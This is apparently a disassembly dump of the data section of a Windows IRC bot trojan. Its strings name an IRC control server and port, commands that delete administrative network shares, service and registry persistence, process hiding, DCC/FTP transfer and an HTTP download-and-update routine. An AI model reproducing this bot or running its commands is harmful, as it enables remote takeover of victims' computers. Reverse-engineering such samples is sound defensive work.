dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A2o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAysklfsdsdsfss	db 'aysklfsdsdsfssas',0 ; DATA XREF: sub_4077E0+337o
		align 4
aIgfsfds_exe	db 'igfsfds.exe',0      ; DATA XREF: sub_4077E0+326o
		dd 0
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
aFor		db '##for',0            ; DATA XREF: sub_4077E0+307o
		align 4
aFor_0		db '##for##',0          ; DATA XREF: sub_4077E0+2F6o
		align 8
a3267		db '3267',0             ; DATA XREF: sub_4077E0+29Bo
		align 10h
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
		align 8
off_444898	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_4448B8	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4448E0	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 4
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 4
dword_444A08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444ADC:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 4
aBai_0		db ' -bai ',0
		align 10h
aSCS		db '%s%c%s',0
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 8
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 10h
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 4
		dd 0
asc_444C5C	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 10h
asc_444C60:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C6C:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 10h
asc_444D10:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D14:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D18	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D1C	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D5C	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D60	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D6C	dd 652Dh	dword_444D70	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DAC	db 1			; DATA XREF: sub_41A390r
		align 10h
dword_444DB0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DFC:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E10	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E24	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E5C	dd 63257325h, 0						; sub_41F960+E5o
dword_444E64	dd 72h		dword_444E68	dd 30h							; sub_424920+327o
dword_444E6C	dd 3039h	dword_444E70	dd 383631h	dword_444E74	dd 323931h	dword_444E78	dd 3631h	dword_444E7C	dd 323731h	dword_444E80	dd 3031h	off_444E84	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E88	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E8C	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E90	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E94	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 10h
asc_444ED0	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FD4	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FE4	dd 6469706Bh, 7325203Ah, 0dword_444FF0	dd 203A736Bh, 7325hdword_444FF8	dd 202E6425h, 7325202Fh, 0dword_445004	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 10h
asc_445080:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
